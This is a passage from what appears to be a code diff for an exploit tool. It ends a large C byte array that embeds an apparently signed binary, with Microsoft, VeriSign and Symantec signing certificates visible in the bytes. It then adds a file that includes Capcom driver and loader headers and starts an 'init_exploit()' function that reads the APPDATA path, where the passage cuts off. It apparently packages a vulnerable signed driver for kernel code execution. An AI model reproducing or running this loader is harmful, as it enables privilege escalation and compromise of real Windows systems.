0xD1, 0x93, 0xFE, 0x5D, 0xC9, 0xCD, 0x5E, 0x03, 0xE0, 0x89, 0x9E, 0x3F, 0x74, 0x1E, 0xD7, 0xF7, 0x38, 0x8B, 0xA9, 0xD6, 0xCF, 0xBB, 0x35, 0x2F, 0x33, 0x58, 0xA8, 0x92, 0x56, 0xD1, 0xC8, 0x4D, 0x3B, 0x82, 0xE6, 0x79, 0x84, 0x16, 0xFC, 0x28, 0xB0, 0xB1, 0x47, 0xF3, 0x1D, 0xA2, 0x3E, 0xEE, 0x87, 0xD9,
0xA6, 0x7F, 0xA4, 0x56, 0xA5, 0x3F, 0xAD, 0x84, 0x2E, 0x29, 0xDE, 0x7C, 0xBC, 0xA8, 0xAA, 0xA3, 0x3D, 0x04, 0x01, 0xEA, 0xBA, 0x93, 0xA2, 0x0E, 0x50, 0x22, 0x29, 0x17, 0x4C, 0x87, 0xE4, 0x3A, 0x11, 0x5F, 0xD6, 0xA4, 0x25, 0x89, 0x9B, 0x05, 0x6B, 0x2F, 0xB4, 0xC9, 0x01, 0x4C, 0x27, 0x7B, 0x0B, 0xAC,
0x19, 0x05, 0x22, 0xA0, 0x60, 0x15, 0x3F, 0xDA, 0xC9, 0xFB, 0x4D, 0x4C, 0x8F, 0xFB, 0x72, 0x67, 0x77, 0xFD, 0x27, 0x94, 0xC7, 0xBA, 0x35, 0x0E, 0x88, 0x49, 0xFE, 0x8D, 0xFD, 0x28, 0xAF, 0x4A, 0x12, 0xBD, 0x0D, 0xB3, 0x97, 0x05, 0xDE, 0x44, 0x0C, 0x15, 0xFA, 0x36, 0x2B, 0x03, 0xDC, 0xC1, 0x50, 0x01,
0xF1, 0xA1, 0x11, 0x5D, 0x14, 0xE5, 0xE2, 0xBD, 0x27, 0x4B, 0x54, 0xBE, 0x2B, 0x84, 0x5E, 0x0F, 0xA6, 0xC3, 0x74, 0x05, 0x0A, 0xEF, 0x97, 0xC3, 0x89, 0x22, 0xB1, 0x1F, 0x77, 0xF3, 0xBD, 0xCD, 0x43, 0xD4, 0xF1, 0x4C, 0xA9, 0x3F, 0xB5, 0x8B, 0x84, 0xAF, 0x64, 0xF2, 0xD0, 0x14, 0x21, 0x30, 0x82, 0x05,
0x9A, 0x30, 0x82, 0x03, 0x82, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x0A, 0x61, 0x19, 0x93, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A,
0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x56,
0x65, 0x72, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, 0x32, 0x35, 0x31, 0x37, 0x5A, 0x17, 0x0D, 0x32, 0x31, 0x30, 0x32, 0x32, 0x32, 0x31, 0x39, 0x33, 0x35, 0x31, 0x37, 0x5A, 0x30, 0x81,
0xCA, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x17, 0x30, 0x15, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x0E, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x31, 0x1F, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16,
0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x3A, 0x30, 0x38, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x31, 0x28, 0x63, 0x29, 0x20, 0x32, 0x30, 0x30, 0x36, 0x20, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67, 0x6E,
0x2C, 0x20, 0x49, 0x6E, 0x63, 0x2E, 0x20, 0x2D, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x61, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x7A, 0x65, 0x64, 0x20, 0x75, 0x73, 0x65, 0x20, 0x6F, 0x6E, 0x6C, 0x79, 0x31, 0x45, 0x30, 0x43, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x3C, 0x56, 0x65, 0x72, 0x69, 0x53, 0x69, 0x67,
0x6E, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x50, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, 0x20, 0x2D,
0x20, 0x47, 0x35, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xAF, 0x24, 0x08, 0x08, 0x29, 0x7A, 0x35, 0x9E, 0x60, 0x0C, 0xAA, 0xE7, 0x4B, 0x3B,
0x4E, 0xDC, 0x7C, 0xBC, 0x3C, 0x45, 0x1C, 0xBB, 0x2B, 0xE0, 0xFE, 0x29, 0x02, 0xF9, 0x57, 0x08, 0xA3, 0x64, 0x85, 0x15, 0x27, 0xF5, 0xF1, 0xAD, 0xC8, 0x31, 0x89, 0x5D, 0x22, 0xE8, 0x2A, 0xAA, 0xA6, 0x42, 0xB3, 0x8F, 0xF8, 0xB9, 0x55, 0xB7, 0xB1, 0xB7, 0x4B, 0xB3, 0xFE, 0x8F, 0x7E, 0x07, 0x57, 0xEC,
0xEF, 0x43, 0xDB, 0x66, 0x62, 0x15, 0x61, 0xCF, 0x60, 0x0D, 0xA4, 0xD8, 0xDE, 0xF8, 0xE0, 0xC3, 0x62, 0x08, 0x3D, 0x54, 0x13, 0xEB, 0x49, 0xCA, 0x59, 0x54, 0x85, 0x26, 0xE5, 0x2B, 0x8F, 0x1B, 0x9F, 0xEB, 0xF5, 0xA1, 0x91, 0xC2, 0x33, 0x49, 0xD8, 0x43, 0x63, 0x6A, 0x52, 0x4B, 0xD2, 0x8F, 0xE8, 0x70,
0x51, 0x4D, 0xD1, 0x89, 0x69, 0x7B, 0xC7, 0x70, 0xF6, 0xB3, 0xDC, 0x12, 0x74, 0xDB, 0x7B, 0x5D, 0x4B, 0x56, 0xD3, 0x96, 0xBF, 0x15, 0x77, 0xA1, 0xB0, 0xF4, 0xA2, 0x25, 0xF2, 0xAF, 0x1C, 0x92, 0x67, 0x18, 0xE5, 0xF4, 0x06, 0x04, 0xEF, 0x90, 0xB9, 0xE4, 0x00, 0xE4, 0xDD, 0x3A, 0xB5, 0x19, 0xFF, 0x02,
0xBA, 0xF4, 0x3C, 0xEE, 0xE0, 0x8B, 0xEB, 0x37, 0x8B, 0xEC, 0xF4, 0xD7, 0xAC, 0xF2, 0xF6, 0xF0, 0x3D, 0xAF, 0xDD, 0x75, 0x91, 0x33, 0x19, 0x1D, 0x1C, 0x40, 0xCB, 0x74, 0x24, 0x19, 0x21, 0x93, 0xD9, 0x14, 0xFE, 0xAC, 0x2A, 0x52, 0xC7, 0x8F, 0xD5, 0x04, 0x49, 0xE4, 0x8D, 0x63, 0x47, 0x88, 0x3C, 0x69,
0x83, 0xCB, 0xFE, 0x47, 0xBD, 0x2B, 0x7E, 0x4F, 0xC5, 0x95, 0xAE, 0x0E, 0x9D, 0xD4, 0xD1, 0x43, 0xC0, 0x67, 0x73, 0xE3, 0x14, 0x08, 0x7E, 0xE5, 0x3F, 0x9F, 0x73, 0xB8, 0x33, 0x0A, 0xCF, 0x5D, 0x3F, 0x34, 0x87, 0x96, 0x8A, 0xEE, 0x53, 0xE8, 0x25, 0x15, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x81, 0xCB,
0x30, 0x81, 0xC8, 0x30, 0x11, 0x06, 0x03, 0x55, 0x1D, 0x20, 0x04, 0x0A, 0x30, 0x08, 0x30, 0x06, 0x06, 0x04, 0x55, 0x1D, 0x20, 0x00, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x04, 0x04, 0x03, 0x02,
0x01, 0x86, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x7F, 0xD3, 0x65, 0xA7, 0xC2, 0xDD, 0xEC, 0xBB, 0xF0, 0x30, 0x09, 0xF3, 0x43, 0x39, 0xFA, 0x02, 0xAF, 0x33, 0x31, 0x33, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0x62, 0xFB, 0x0A, 0x21,
0x5B, 0x7F, 0x43, 0x6E, 0x11, 0xDA, 0x09, 0x54, 0x50, 0x6B, 0xF5, 0xD2, 0x96, 0x71, 0xF1, 0x9E, 0x30, 0x55, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0xA0, 0x48, 0xA0, 0x46, 0x86, 0x44, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72,
0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x43, 0x6F, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, 0x74, 0x2E,
0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x81, 0x2A, 0x82, 0x16, 0x8C, 0x34, 0x67, 0x2B, 0xE5, 0x03, 0xEB, 0x34, 0x7B, 0x8C, 0xA2, 0xA3, 0x50, 0x8A, 0xF4, 0x55, 0x86, 0xF1, 0x1E, 0x8C, 0x8E, 0xAE, 0x7D,
0xEE, 0x03, 0x19, 0xCE, 0x72, 0x95, 0x18, 0x48, 0xAD, 0x62, 0x11, 0xFD, 0x20, 0xFD, 0x3F, 0x47, 0x06, 0x01, 0x5A, 0xE2, 0xE0, 0x6F, 0x8C, 0x15, 0x2C, 0x4E, 0x3C, 0x6A, 0x50, 0x6C, 0x0B, 0x36, 0xA3, 0xCF, 0x7A, 0x0D, 0x9C, 0x42, 0xBC, 0x5C, 0xF8, 0x19, 0xD5, 0x60, 0xE3, 0x69, 0xE6, 0xE2, 0x23, 0x41,
0x67, 0x8C, 0x68, 0x83, 0x76, 0x2B, 0x8F, 0x93, 0xA3, 0x2A, 0xB5, 0x7F, 0xBE, 0x59, 0xFB, 0xA9, 0xC9, 0xB2, 0x26, 0x8F, 0xCA, 0xA2, 0xF3, 0x82, 0x1B, 0x98, 0x3E, 0x91, 0x95, 0x27, 0x97, 0x86, 0x61, 0xEE, 0x5B, 0x5D, 0x07, 0x6B, 0xCD, 0x86, 0xA8, 0xE2, 0x65, 0x80, 0xA8, 0xE2, 0x15, 0xE2, 0xB2, 0xBE,
0x23, 0x05, 0x6A, 0xBA, 0x0C, 0xF3, 0x47, 0x93, 0x4D, 0xAC, 0xA4, 0x8C, 0x07, 0x79, 0x39, 0xC0, 0x61, 0x12, 0x3A, 0x05, 0x0D, 0x89, 0xA3, 0xEC, 0x9F, 0x57, 0x89, 0x84, 0xFB, 0xEC, 0xCA, 0x7C, 0x47, 0x66, 0x14, 0x91, 0xD8, 0xB6, 0x0F, 0x19, 0x5D, 0xE6, 0xB8, 0x4A, 0xAC, 0xBC, 0x47, 0xC8, 0x71, 0x43,
0x96, 0xE6, 0x32, 0x20, 0xA5, 0xDC, 0x77, 0x86, 0xFD, 0x3C, 0xE3, 0x8B, 0x71, 0xDB, 0x7B, 0x9B, 0x03, 0xFC, 0xB7, 0x1D, 0x32, 0x64, 0xEB, 0x16, 0x52, 0xA0, 0x43, 0xA3, 0xFA, 0x2E, 0xAD, 0x59, 0x92, 0x4E, 0x7C, 0xC7, 0xF2, 0x33, 0x42, 0x48, 0x38, 0x51, 0x3A, 0x7C, 0x38, 0xC7, 0x1B, 0x24, 0x22, 0x28,
0x40, 0x1E, 0x1A, 0x46, 0x1F, 0x17, 0xDB, 0x18, 0xF7, 0xF0, 0x27, 0x35, 0x6C, 0xB8, 0x63, 0xD9, 0xCD, 0xB9, 0x64, 0x5D, 0x2B, 0xA5, 0x5E, 0xEF, 0xC6, 0x29, 0xB4, 0xF2, 0xC7, 0xF8, 0x21, 0xCC, 0x04, 0xBA, 0x57, 0xFD, 0x01, 0xB6, 0xAB, 0xC6, 0x67, 0xF9, 0xE7, 0xD3, 0x99, 0x7F, 0xF4, 0xF5, 0x22, 0xFA,
0x72, 0xF5, 0xFD, 0xFF, 0x3A, 0x1C, 0x42, 0x3A, 0xA1, 0xF9, 0x80, 0x18, 0xA5, 0xEE, 0x8D, 0x1C, 0xD4, 0x66, 0x9E, 0x45, 0x01, 0xFE, 0xAA, 0xEE, 0xFF, 0xFB, 0x17, 0x8F, 0x30, 0xF7, 0xF1, 0xCD, 0x29, 0xC5, 0x9D, 0xEC, 0xB5, 0xD5, 0x49, 0x00, 0x3D, 0x85, 0xB8, 0xCB, 0xBB, 0x93, 0x3A, 0x27, 0x6A, 0x49,
0xC0, 0x30, 0xAE, 0x66, 0xC9, 0xF7, 0x23, 0x28, 0x32, 0x76, 0xF9, 0xA4, 0x83, 0x56, 0xC8, 0x48, 0xCE, 0x5A, 0x96, 0xAA, 0xA0, 0xCC, 0x0C, 0xC4, 0x7F, 0xB4, 0x8E, 0x97, 0xAF, 0x6D, 0xE3, 0x54, 0x27, 0xC3, 0x9F, 0x86, 0xC0, 0xD6, 0xE4, 0x73, 0x08, 0x97, 0x05, 0xDB, 0xD0, 0x54, 0x62, 0x5E, 0x03, 0x48,
0xC2, 0xD5, 0x9F, 0x7F, 0xA7, 0x66, 0x8C, 0xD0, 0x9D, 0xB0, 0x4F, 0xD4, 0xD3, 0x98, 0x5F, 0x4B, 0x7A, 0xC9, 0x7F, 0xB2, 0x29, 0x52, 0xD0, 0x12, 0x80, 0xC7, 0x0F, 0x54, 0xB6, 0x1E, 0x67, 0xCD, 0xC6, 0xA0, 0x6C, 0x11, 0x03, 0x84, 0xD3, 0x48, 0x75, 0xE7, 0x2A, 0xFE, 0xB0, 0x3B, 0x6E, 0x0A, 0x3A, 0xA6,
0x6B, 0x76, 0x99, 0x05, 0xA3, 0xF1, 0x77, 0x68, 0x61, 0x33, 0x14, 0x47, 0x06, 0xFC, 0x53, 0x7F, 0x52, 0xBD, 0x92, 0x14, 0x5C, 0x4A, 0x24, 0x6A, 0x67, 0x8C, 0xAF, 0x8D, 0x90, 0xAA, 0xD0, 0xF6, 0x79, 0x21, 0x1B, 0x93, 0x26, 0x7C, 0xC3, 0xCE, 0x1E, 0xBD, 0x88, 0x38, 0x92, 0xAE, 0x45, 0xC6, 0x19, 0x6A,
0x49, 0x50, 0xB3, 0x05, 0xF8, 0xAE, 0x59, 0x37, 0x8A, 0x6A, 0x25, 0x03, 0x94, 0xB1, 0x59, 0x81, 0x50, 0xE8, 0xBA, 0x83, 0x80, 0xB7, 0x23, 0x35, 0xF4, 0x76, 0xB9, 0x67, 0x1D, 0x59, 0x18, 0xAD, 0x20, 0x8D, 0x94, 0x31, 0x82, 0x04, 0x3C, 0x30, 0x82, 0x04, 0x38, 0x02, 0x01, 0x01, 0x30, 0x81, 0x93, 0x30,
0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, 0x06,
0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6C,
0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x02, 0x10, 0x7E, 0x59, 0x40, 0x8D, 0x3C, 0x99, 0xC5, 0x11, 0xA8, 0x53, 0xFB, 0x2F, 0x73, 0xC0, 0x3D, 0xC4, 0x30, 0x09, 0x06, 0x05,
0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x70, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30, 0x00, 0x30, 0x19, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82,
0x37, 0x02, 0x01, 0x04, 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04,
0x14, 0xB7, 0xED, 0x81, 0x7E, 0xA2, 0x36, 0x2A, 0x05, 0x13, 0x1D, 0x8C, 0x39, 0xEB, 0xD8, 0x26, 0x4E, 0xB9, 0xAC, 0xE2, 0x3E, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x35, 0xD9, 0xC9, 0xB1, 0x57, 0x2D, 0xBB, 0x16, 0xB8, 0x20,
0xE1, 0xCD, 0x2F, 0xE8, 0xB3, 0x44, 0x1D, 0xF7, 0x69, 0xDF, 0x44, 0xB9, 0x72, 0xA1, 0x37, 0xA6, 0xCA, 0xF6, 0x1D, 0x68, 0x22, 0xDA, 0xF5, 0xFD, 0x19, 0x10, 0x7A, 0x61, 0xAA, 0x89, 0x89, 0x5C, 0x02, 0xDC, 0xFD, 0x3C, 0x44, 0x4E, 0xD3, 0xA6, 0xF2, 0x02, 0x48, 0xC9, 0x5E, 0x04, 0x89, 0x29, 0x00, 0x3D,
0x5C, 0x3C, 0xB2, 0x40, 0x9A, 0xB7, 0x74, 0x17, 0x56, 0x25, 0x71, 0x66, 0x60, 0xAC, 0x2E, 0x3A, 0x3B, 0x32, 0xDD, 0x37, 0xBC, 0x47, 0x7C, 0x38, 0x91, 0x56, 0x7A, 0xBC, 0xC1, 0xA8, 0xC8, 0x3C, 0x9E, 0x59, 0x67, 0x5B, 0x90, 0x01, 0x6F, 0xC2, 0x94, 0x52, 0xA6, 0xE8, 0xB2, 0x45, 0x87, 0xED, 0x3C, 0x96,
0xE0, 0x7A, 0xEF, 0x95, 0xA9, 0xB0, 0x1B, 0xA7, 0xF5, 0x5E, 0x48, 0x17, 0x52, 0x2A, 0xDB, 0x72, 0x2F, 0x59, 0x07, 0xF2, 0xD0, 0xE6, 0xA5, 0x95, 0x02, 0xB9, 0x61, 0x4A, 0x9D, 0x44, 0xDA, 0x0A, 0xCD, 0xF2, 0xA3, 0xFD, 0x5E, 0x34, 0x23, 0xD9, 0xBE, 0xF8, 0x24, 0x2C, 0x09, 0x4B, 0xBC, 0x4F, 0x18, 0x47,
0xDC, 0x27, 0xA0, 0xAF, 0x49, 0x15, 0xC2, 0xB8, 0x1D, 0x02, 0x79, 0x1B, 0x5B, 0x44, 0x51, 0x80, 0xEB, 0x61, 0x26, 0xCA, 0x58, 0x8C, 0xE6, 0xCE, 0x56, 0x76, 0x21, 0x56, 0x35, 0x3A, 0xD5, 0x97, 0xE5, 0xD8, 0x39, 0xFD, 0xED, 0xBA, 0xF9, 0xD9, 0xD0, 0x7A, 0x50, 0x6B, 0xDF, 0x0F, 0x69, 0xA1, 0x6F, 0xD2,
0xE8, 0xA9, 0x1C, 0x16, 0x66, 0x40, 0x5E, 0xBF, 0x1B, 0x2A, 0x17, 0xEB, 0xCD, 0x07, 0x21, 0x95, 0x6C, 0xFC, 0x8E, 0x6F, 0xD4, 0xBD, 0x9B, 0x8A, 0x58, 0x4E, 0x4E, 0x4B, 0xBF, 0xE7, 0x56, 0x0E, 0x6C, 0x77, 0xBF, 0x06, 0xF6, 0x82, 0x8C, 0xE5, 0x40, 0xCF, 0x0D, 0xB9, 0x5D, 0x9F, 0xA1, 0x82, 0x02, 0x0B,
0x30, 0x82, 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55,
0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53,
0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02,
0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x36,
0x30, 0x39, 0x30, 0x36, 0x30, 0x35, 0x30, 0x33, 0x32, 0x31, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x4D, 0xD1, 0xBD, 0x8C, 0xE9, 0x52, 0x0E, 0xB2, 0x96, 0x0E, 0x61, 0x95, 0xCE, 0x62, 0xEF, 0x26, 0xC9, 0xD3, 0x14, 0xFD, 0x30, 0x0D,
0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, 0x00, 0x48, 0x26, 0x3B, 0xE4, 0xDB, 0x78, 0x7C, 0xAD, 0x97, 0x71, 0x5C, 0x9C, 0x14, 0x10, 0xF3, 0xBE, 0x5E, 0x1D, 0x1B, 0xBF, 0x7D, 0x5B, 0xF5, 0x35, 0x67, 0x26, 0x85, 0x67, 0xDB, 0x48, 0xFC, 0xA7, 0xBB,
0xDE, 0x3B, 0x21, 0x92, 0x8B, 0x35, 0xEF, 0xA2, 0x67, 0x63, 0x73, 0x74, 0xFA, 0xFF, 0x71, 0xBB, 0xB1, 0x19, 0xD3, 0xCF, 0x63, 0xD7, 0x81, 0x84, 0x9D, 0x46, 0x3C, 0xB0, 0xEF, 0x94, 0x64, 0x21, 0x8B, 0x0B, 0xDE, 0x67, 0x4B, 0x4E, 0x8F, 0x4B, 0xE2, 0xFA, 0x0E, 0x2A, 0x57, 0x2F, 0xDC, 0x8B, 0xD2, 0xBF,
0x3C, 0x79, 0xC7, 0xAC, 0x8B, 0xB8, 0x78, 0x52, 0xCB, 0xCB, 0x42, 0xA4, 0x5C, 0x25, 0x11, 0xF0, 0x72, 0xE2, 0xB1, 0xC8, 0x96, 0x81, 0x6B, 0xFF, 0x6F, 0x2F, 0x63, 0xBF, 0x3C, 0x4C, 0xC8, 0x4C, 0xB2, 0xA0, 0x55, 0xAE, 0xE7, 0x98, 0x52, 0x76, 0xED, 0xFF, 0x84, 0x2B, 0x02, 0x26, 0x84, 0x55, 0xD7, 0x6E,
0x8A, 0x6A, 0x01, 0x18, 0xDA, 0xE4, 0x79, 0xC7, 0xC7, 0xB8, 0x3F, 0x7A, 0x32, 0xF7, 0x69, 0x6C, 0xE6, 0x00, 0x5E, 0x92, 0x80, 0x4C, 0x40, 0x0F, 0x6D, 0x93, 0xBA, 0xC9, 0x23, 0x28, 0xD1, 0x70, 0x92, 0x11, 0x9F, 0x5F, 0xB7, 0x14, 0x22, 0xDC, 0xE4, 0x15, 0x62, 0xBA, 0xE7, 0x73, 0x7E, 0x40, 0x34, 0xBC,
0xA4, 0xBB, 0x49, 0x7E, 0x6F, 0xDC, 0xA4, 0x2E, 0x23, 0x41, 0x47, 0xE0, 0xE8, 0x1A, 0x60, 0xD8, 0x30, 0x8C, 0x4D, 0xBE, 0x9D, 0x43, 0x32, 0xBB, 0xA6, 0x61, 0x11, 0xA6, 0xDA, 0x4D, 0x23, 0xF3, 0xA9, 0xD5, 0x1A, 0x25, 0x86, 0xAC, 0xC7, 0xE5, 0xB0, 0x79, 0xC1, 0xFF, 0x37, 0xCE, 0x59, 0x9D, 0x02, 0x48,
0xD8, 0xEC, 0xEB, 0x97, 0xDC, 0x19, 0xA2, 0x5B, 0xDC, 0xD2, 0x04, 0xCB, 0x71, 0xBD, 0x5E, 0x8E, 0x00, 0x9B, 0x65, 0x75, 0x77, 0x6E, 0x88, 0x00, 0x00, 0x00, 0x00
};
+38
View File
@@ -0,0 +1,38 @@
#include "libcapcom.h"
#include "loader.h"
#include "capcomsys.h"
#include "capcom_wrapper.h"
using namespace capcom::wrapper;
capcom_wrapper* wrapper = nullptr;
bool init_exploit()
{
std::wstring file_location = _wgetenv(L"APPDATA");
